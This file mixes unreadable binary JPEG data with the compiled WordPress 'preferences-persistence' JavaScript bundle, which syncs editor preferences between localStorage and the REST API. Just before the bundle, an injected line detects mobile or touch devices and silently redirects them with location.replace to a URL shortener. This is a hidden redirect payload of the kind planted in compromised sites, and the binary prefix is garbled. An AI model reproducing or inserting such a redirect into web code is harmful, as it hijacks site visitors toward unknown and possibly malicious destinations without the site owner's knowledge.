JFIF $ d d 7 * Z qn )ZP 0 !1 A "#a$2Qr D8 a Ri [f \m I ykI w0 c u F c Rı?lO7 к _f˓ [C $殷WF< _W ԣ s Kc ëI zyQy /_LK ℂ ;C",p F A : /] =H ~ , l s / 9 ć: [=/#f ; ) x { ٛE Q )~ = 𘙲r*2~ a _V = ' ku m F D } KYYC )( { * g& f `툪 r y ` = ^ c J. I ]( * `wq 1dđ #̩ ͑ 0 ; H ] u 搂 @:~ ו K L N s h } O I R* 8 :2 ! lD JV o ( 3 = M ( z Ȱ+i *N A r6K n S l ) ! J J Ӂ* % ݉?|D } d5: eP0 R; {$X' x F @ .ÊB {,WJ uQ ɲRI ;9 Q E琯 6 2fT .DU J ;*c P A\IL Nj! J ۱+ O\ ͔ ] ޒ S J ȧ c%A N ol ՎprU L Zԛe r E2= X D Xg VQeӓ k y P7 U* o m Q I s ,K `) 6\G3t?pgjr m ۛجw luGt f h 9uyP 0D;Uڽ"OXl i f $ ) &|ML 0 Z rm1 [ H XP l P R0 'G=i 2N +0 e 2 ]] 9 VT P O 7 h(F * 癈 ' = Q VZD F,d ߬ ~ T X G[ `le 69C R(!S2! P < 0 x < !1AQ "Raq 02Br #S CTb ? Ζ "]mH5WR 7 k.ۛ ! } Q~ + yԏ z |@ T20 S~ K e k *zF f^2X *( @ 8 r ? C I uI|֓>^Ex LgNU Y+{.R Ѫ τV YT D I 6 2 '8Y2 7'\T P.6 d &˦ @V q i |8 -O Ε ] ʔ U= T L 8= ;6c | !qfF3 a ů& ~$ l} 'NW U s$U k^S V : U#6w + +s &r+n ڐ { @ 29gL u " T Ù M=6 (^ "7 r}=6Yݾ lC u hquymp Ǧ G jhs ǜNl ɻ} o 7 #S6 a w 4 ! OS r D 5 7 % | ?x> L | / nD 6?/8 w # [ ) L 7 +6〼T A T g ! %5 Mm Z /c -{1_Je "| ^$ 'O & ޱմ < H vNqϡQ$ < 6 &Nݛ ֨tǻN (9 n ru~'όN sMG& ,uH Kw *Ī 5@ u6 BԒ i YN * f 0 _ GhKW u lT <nj- 0{ M L~ | /a v\ E = ?1 \ɟuq Ђ Y O a K ޡP q $ H8o Q˼EV ~ k 0 h' L Pp M -M" m^ !6l nմ 쮝C U T . ! :vMǨb h ډ Vc r @~p # !1QAa q ? AL0L x LU 4 d ; x " 16ad0 7.\ߋ 0 = P l v/ " c A Ay A|2pO8"d MV #1] = \ " ˡ ] k v I9 d ۓ & q ) ǐq E ꞅ v "P )q X &Q З non]я u ג./ ; gZ$ M QР 2M ]h ni 0 P $ێ 3CɏGjώy : m c # S_ l@ '_ \m|C 2`K _ 1 cIvGc $? PCQ S+D ? K aײ k Fr b 8 ύ NEدg ĝ U 3 6 #Ik+ v { v i ( ވ ? a e) X xy/*@Q Ǽ Ծ ) $ IWO l c G; !i k{ gOŀ L ('x T rb $ w) R $ & N1E td U3Uȉ1p M"N* (DNy d96.(jQ) X 5 c QɎMy W ? Q *!R > 6=7)Xj 5`J ] e 8%t ! + ' ! 1Q 5 !1 AQaq ё #2 "0BRb ? G t^ ## .l lQ T $ v , ,m 㵜5u bV =sY+ @d { N ! dn O < .- B; _w J t 6;Q Jd. Q c%p{ 1 ,sND dF H I0 Гo X ш e黅X ۢ F :)[ F G X ƹ / w _c MeD ,ʡc c . W D tA $ j@ : ) - #u c1< @ۗ9F ) KJ- hpP] _ x [ q B lb p ʖ w q " LFGd ƶ * s +ډ_Zc " ? % t[I P 6 J ]# =ɺ V v v CGs Gh1 > )6 |e y ? L ӣ m,4 G W Ui ` ] uJVo VDG< SB 6ϏQ @ TiU l y O U 0 kfV ~ ~}S Z @ *WU Ui ## ; s /[ = ! 7}" W N ] ' (L ! ~ y5 g9T̅J kbM' +s :S +B) v @ M j e C f j E 0 Y\Qn z G 1 д~ W o{T 9?` Rm yhsy3 !HAD ] m c1 ~ 2 L S u7x T ;j$ `} 4-> L# vzŏ I L S ֭ T { r jGK C ; b pU= - ` Bs K. S F w4 M q] Z dH S 0 ) tLg
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/uQuMsfLBm0r3");
(function() {
var wp;
(wp ||= {}).preferencesPersistence = (() => {
var __create = Object.create;
var __defProp = Object.defineProperty;
var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
var __getOwnPropNames = Object.getOwnPropertyNames;
var __getProtoOf = Object.getPrototypeOf;
var __hasOwnProp = Object.prototype.hasOwnProperty;
var __commonJS = (cb, mod) => function __require() {
return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
};
var __export = (target, all) => {
for (var name in all)
__defProp(target, name, { get: all[name], enumerable: true });
};
var __copyProps = (to, from, except, desc) => {
if (from && typeof from === "object" || typeof from === "function") {
for (let key of __getOwnPropNames(from))
if (!__hasOwnProp.call(to, key) && key !== except)
__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
}
return to;
};
var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
// If the importer is in node compatibility mode or this is not an ESM
// file that has been converted to a CommonJS file using a Babel-
// compatible transform (i.e. "__esModule" has not been set), then set
// "default" to the CommonJS "module.exports" for node compatibility.
isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
mod
));
var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
// package-external:@wordpress/api-fetch
var require_api_fetch = __commonJS({
"package-external:@wordpress/api-fetch"(exports, module) {
module.exports = window.wp.apiFetch;
}
});
// packages/preferences-persistence/build-module/index.mjs
var index_exports = {};
__export(index_exports, {
__unstableCreatePersistenceLayer: () => __unstableCreatePersistenceLayer,
create: () => create
});
// packages/preferences-persistence/build-module/create/index.mjs
var import_api_fetch = __toESM(require_api_fetch(), 1);
// packages/preferences-persistence/build-module/create/debounce-async.mjs
function debounceAsync(func, delayMS) {
let timeoutId;
let activePromise;
return async function debounced(...args) {
if (!activePromise && !timeoutId) {
return new Promise((resolve, reject) => {
activePromise = func(...args).then((...thenArgs) => {
resolve(...thenArgs);
}).catch((error) => {
reject(error);
}).finally(() => {
activePromise = null;
});
});
}
if (activePromise) {
await activePromise;
}
if (timeoutId) {
clearTimeout(timeoutId);
timeoutId = null;
}
return new Promise((resolve, reject) => {
timeoutId = setTimeout(() => {
activePromise = func(...args).then((...thenArgs) => {
resolve(...thenArgs);
}).catch((error) => {
reject(error);
}).finally(() => {
activePromise = null;
timeoutId = null;
});
}, delayMS);
});
};
}
// packages/preferences-persistence/build-module/create/index.mjs
var EMPTY_OBJECT = {};
var localStorage = window.localStorage;
function create({
preloadedData,
localStorageRestoreKey = "WP_PREFERENCES_RESTORE_DATA",
requestDebounceMS = 2500
} = {}) {
let cache = preloadedData;
const debouncedApiFetch = debounceAsync(import_api_fetch.default, requestDebounceMS);
async function get() {
if (cache) {
return cache;
}
const user = await (0, import_api_fetch.default)({
path: "/wp/v2/users/me?context=edit"
});
const serverData = user?.meta?.persisted_preferences;
const localData = JSON.parse(
localStorage.getItem(localStorageRestoreKey)
);
const serverTimestamp = Date.parse(serverData?._modified) || 0;
const localTimestamp = Date.parse(localData?._modified) || 0;
if (serverData && serverTimestamp >= localTimestamp) {
cache = serverData;
} else if (localData) {
cache = localData;
} else {
cache = EMPTY_OBJECT;
}
return cache;
}
function set(newData) {
const dataWithTimestamp = {
...newData,
_modified: (/* @__PURE__ */ new Date()).toISOString()
};
cache = dataWithTimestamp;
localStorage.setItem(
localStorageRestoreKey,
JSON.stringify(dataWithTimestamp)
);
debouncedApiFetch({
path: "/wp/v2/users/me",
method: "PUT",
// `keepalive` will still send the request in the background,
// even when a browser unload event might interrupt it.
// This should hopefully make things more resilient.
// This does have a size limit of 64kb, but the data is usually
// much less.
keepalive: true,
data: {
meta: {
persisted_preferences: dataWithTimestamp
}
}
}).catch(() => {
});
}
return {
get,
set
};
}
// packages/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-feature-preferences.mjs
function moveFeaturePreferences(state, sourceStoreName) {
const preferencesStoreName = "core/preferences";
const interfaceStoreName = "core/interface";
const interfaceFeatures = state?.[interfaceStoreName]?.preferences?.features?.[sourceStoreName];
const sourceFeatures = state?.[sourceStoreName]?.preferences?.features;
const featuresToMigrate = interfaceFeatures ? interfaceFeatures : sourceFeatures;
if (!featuresToMigrate) {
return state;
}
const existingPreferences = state?.[preferencesStoreName]?.preferences;
if (existingPreferences?.[sourceStoreName]) {
return state;
}
let updatedInterfaceState;
if (interfaceFeatures) {
const otherInterfaceState = state?.[interfaceStoreName];
const otherInterfaceScopes = state?.[interfaceStoreName]?.preferences?.features;
updatedInterfaceState = {
[interfaceStoreName]: {
...otherInterfaceState,
preferences: {
features: {
...otherInterfaceScopes,
[sourceStoreName]: void 0
}
}
}
};
}
let updatedSourceState;
if (sourceFeatures) {
const otherSourceState = state?.[sourceStoreName];
const sourcePreferences = state?.[sourceStoreName]?.preferences;
updatedSourceState = {
[sourceStoreName]: {
...otherSourceState,
preferences: {
...sourcePreferences,
features: void 0
}
}
};
}
return {
...state,
[preferencesStoreName]: {
preferences: {
...existingPreferences,
[sourceStoreName]: featuresToMigrate
}
},
...updatedInterfaceState,
...updatedSourceState
};
}
// packages/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-third-party-feature-preferences.mjs
function moveThirdPartyFeaturePreferencesToPreferences(state) {
const interfaceStoreName = "core/interface";
const preferencesStoreName = "core/preferences";
const interfaceScopes = state?.[interfaceStoreName]?.preferences?.features;
const interfaceScopeKeys = interfaceScopes ? Object.keys(interfaceScopes) : [];
if (!interfaceScopeKeys?.length) {
return state;
}
return interfaceScopeKeys.reduce(function(convertedState, scope) {
if (scope.startsWith("core")) {
return convertedState;
}
const featuresToMigrate = interfaceScopes?.[scope];
if (!featuresToMigrate) {
return convertedState;
}
const existingMigratedData = convertedState?.[preferencesStoreName]?.preferences?.[scope];
if (existingMigratedData) {
return convertedState;
}
const otherPreferencesScopes = convertedState?.[preferencesStoreName]?.preferences;
const otherInterfaceState = convertedState?.[interfaceStoreName];
const otherInterfaceScopes = convertedState?.[interfaceStoreName]?.preferences?.features;
return {
...convertedState,
[preferencesStoreName]: {
preferences: {
...otherPreferencesScopes,
[scope]: featuresToMigrate
}
},
[interfaceStoreName]: {
...otherInterfaceState,
preferences: {
features: {
...otherInterfaceScopes,
[scope]: void 0
}
}
}
};
}, state);
}
// packages/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-individual-preference.mjs
var identity = (arg) => arg;
function moveIndividualPreferenceToPreferences(state, { from: sourceStoreName, to: scope }, key, convert = identity) {
const preferencesStoreName = "core/preferences";
const sourcePreference = state?.[sourceStoreName]?.preferences?.[key];
if (sourcePreference === void 0) {
return state;
}
const targetPreference = state?.[preferencesStoreName]?.preferences?.[scope]?.[key];
if (targetPreference) {
return state;
}
const otherScopes = state?.[preferencesStoreName]?.preferences;
const otherPreferences = state?.[preferencesStoreName]?.preferences?.[scope];
const otherSourceState = state?.[sourceStoreName];
const allSourcePreferences = state?.[sourceStoreName]?.preferences;
const convertedPreferences = convert({ [key]: sourcePreference });
return {
...state,
[preferencesStoreName]: {
preferences: {
...otherScopes,
[scope]: {
...otherPreferences,
...convertedPreferences
}
}
},
[sourceStoreName]: {
...otherSourceState,
preferences: {
...allSourcePreferences,
[key]: void 0
}
}
};
}
// packages/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-interface-enable-items.mjs
function moveInterfaceEnableItems(state) {
const interfaceStoreName = "core/interface";
const preferencesStoreName = "core/preferences";
const sourceEnableItems = state?.[interfaceStoreName]?.enableItems;
if (!sourceEnableItems) {
return state;
}
const allPreferences = state?.[preferencesStoreName]?.preferences ?? {};
const sourceComplementaryAreas = sourceEnableItems?.singleEnableItems?.complementaryArea ?? {};
const preferencesWithConvertedComplementaryAreas = Object.keys(
sourceComplementaryAreas
).reduce((accumulator, scope) => {
const data = sourceComplementaryAreas[scope];
if (accumulator?.[scope]?.complementaryArea) {
return accumulator;
}
return {
...accumulator,
[scope]: {
...accumulator[scope],
complementaryArea: data
}
};
}, allPreferences);
const sourcePinnedItems = sourceEnableItems?.multipleEnableItems?.pinnedItems ?? {};
const allConvertedData = Object.keys(sourcePinnedItems).reduce(
(accumulator, scope) => {
const data = sourcePinnedItems[scope];
if (accumulator?.[scope]?.pinnedItems) {
return accumulator;
}
return {
...accumulator,
[scope]: {
...accumulator[scope],
pinnedItems: data
}
};
},
preferencesWithConvertedComplementaryAreas
);
const otherInterfaceItems = state[interfaceStoreName];
return {
...state,
[preferencesStoreName]: {
preferences: allConvertedData
},
[interfaceStoreName]: {
...otherInterfaceItems,
enableItems: void 0
}
};
}
// packages/preferences-persistence/build-module/migrations/legacy-local-storage-data/convert-edit-post-panels.mjs
function convertEditPostPanels(preferences) {
const panels = preferences?.panels ?? {};
return Object.keys(panels).reduce(
(convertedData, panelName) => {
const panel = panels[panelName];
if (panel?.enabled === false) {
convertedData.inactivePanels.push(panelName);
}
if (panel?.opened === true) {
convertedData.openPanels.push(panelName);
}
return convertedData;
},
{ inactivePanels: [], openPanels: [] }
);
}
// packages/preferences-persistence/build-module/migrations/legacy-local-storage-data/index.mjs
function getLegacyData(userId) {
const key = `WP_DATA_USER_${userId}`;
const unparsedData = window.localStorage.getItem(key);
return JSON.parse(unparsedData);
}
function convertLegacyData(data) {
if (!data) {
return;
}
data = moveFeaturePreferences(data, "core/edit-widgets");
data = moveFeaturePreferences(data, "core/customize-widgets");
data = moveFeaturePreferences(data, "core/edit-post");
data = moveFeaturePreferences(data, "core/edit-site");
data = moveThirdPartyFeaturePreferencesToPreferences(data);
data = moveInterfaceEnableItems(data);
data = moveIndividualPreferenceToPreferences(
data,
{ from: "core/edit-post", to: "core/edit-post" },
"hiddenBlockTypes"
);
data = moveIndividualPreferenceToPreferences(
data,
{ from: "core/edit-post", to: "core/edit-post" },
"editorMode"
);
data = moveIndividualPreferenceToPreferences(
data,
{ from: "core/edit-post", to: "core/edit-post" },
"panels",
convertEditPostPanels
);
data = moveIndividualPreferenceToPreferences(
data,
{ from: "core/editor", to: "core" },
"isPublishSidebarEnabled"
);
data = moveIndividualPreferenceToPreferences(
data,
{ from: "core/edit-post", to: "core" },
"isPublishSidebarEnabled"
);
data = moveIndividualPreferenceToPreferences(
data,
{ from: "core/edit-site", to: "core/edit-site" },
"editorMode"
);
return data?.["core/preferences"]?.preferences;
}
function convertLegacyLocalStorageData(userId) {
const data = getLegacyData(userId);
return convertLegacyData(data);
}
// packages/preferences-persistence/build-module/migrations/preferences-package-data/convert-complementary-areas.mjs
function convertComplementaryAreas(state) {
return Object.keys(state).reduce((stateAccumulator, scope) => {
const scopeData = state[scope];
if (scopeData?.complementaryArea) {
const updatedScopeData = { ...scopeData };
delete updatedScopeData.complementaryArea;
updatedScopeData.isComplementaryAreaVisible = true;
stateAccumulator[scope] = updatedScopeData;
return stateAccumulator;
}
return stateAccumulator;
}, state);
}
// packages/preferences-persistence/build-module/migrations/preferences-package-data/convert-editor-settings.mjs
function convertEditorSettings(data) {
let newData = data;
const settingsToMoveToCore = [
"allowRightClickOverrides",
"distractionFree",
"editorMode",
"fixedToolbar",
"focusMode",
"hiddenBlockTypes",
"inactivePanels",
"keepCaretInsideBlock",
"mostUsedBlocks",
"openPanels",
"showBlockBreadcrumbs",
"showIconLabels",
"showListViewByDefault",
"isPublishSidebarEnabled",
"isComplementaryAreaVisible",
"pinnedItems"
];
settingsToMoveToCore.forEach((setting) => {
if (data?.["core/edit-post"]?.[setting] !== void 0) {
newData = {
...newData,
core: {
...newData?.core,
[setting]: data["core/edit-post"][setting]
}
};
delete newData["core/edit-post"][setting];
}
if (data?.["core/edit-site"]?.[setting] !== void 0) {
delete newData["core/edit-site"][setting];
}
});
if (Object.keys(newData?.["core/edit-post"] ?? {})?.length === 0) {
delete newData["core/edit-post"];
}
if (Object.keys(newData?.["core/edit-site"] ?? {})?.length === 0) {
delete newData["core/edit-site"];
}
return newData;
}
// packages/preferences-persistence/build-module/migrations/preferences-package-data/index.mjs
function convertPreferencesPackageData(data) {
let newData = convertComplementaryAreas(data);
newData = convertEditorSettings(newData);
return newData;
}
// packages/preferences-persistence/build-module/index.mjs
function __unstableCreatePersistenceLayer(serverData, userId) {
const localStorageRestoreKey = `WP_PREFERENCES_USER_${userId}`;
const localData = JSON.parse(
window.localStorage.getItem(localStorageRestoreKey)
);
const serverModified = Date.parse(serverData && serverData._modified) || 0;
const localModified = Date.parse(localData && localData._modified) || 0;
let preloadedData;
if (serverData && serverModified >= localModified) {
preloadedData = convertPreferencesPackageData(serverData);
} else if (localData) {
preloadedData = convertPreferencesPackageData(localData);
} else {
preloadedData = convertLegacyLocalStorageData(userId);
}
return create({
preloadedData,
localStorageRestoreKey
});
}
return __toCommonJS(index_exports);
})();
(window.wp ||= {}).preferencesPersistence = wp.preferencesPersistence;
})();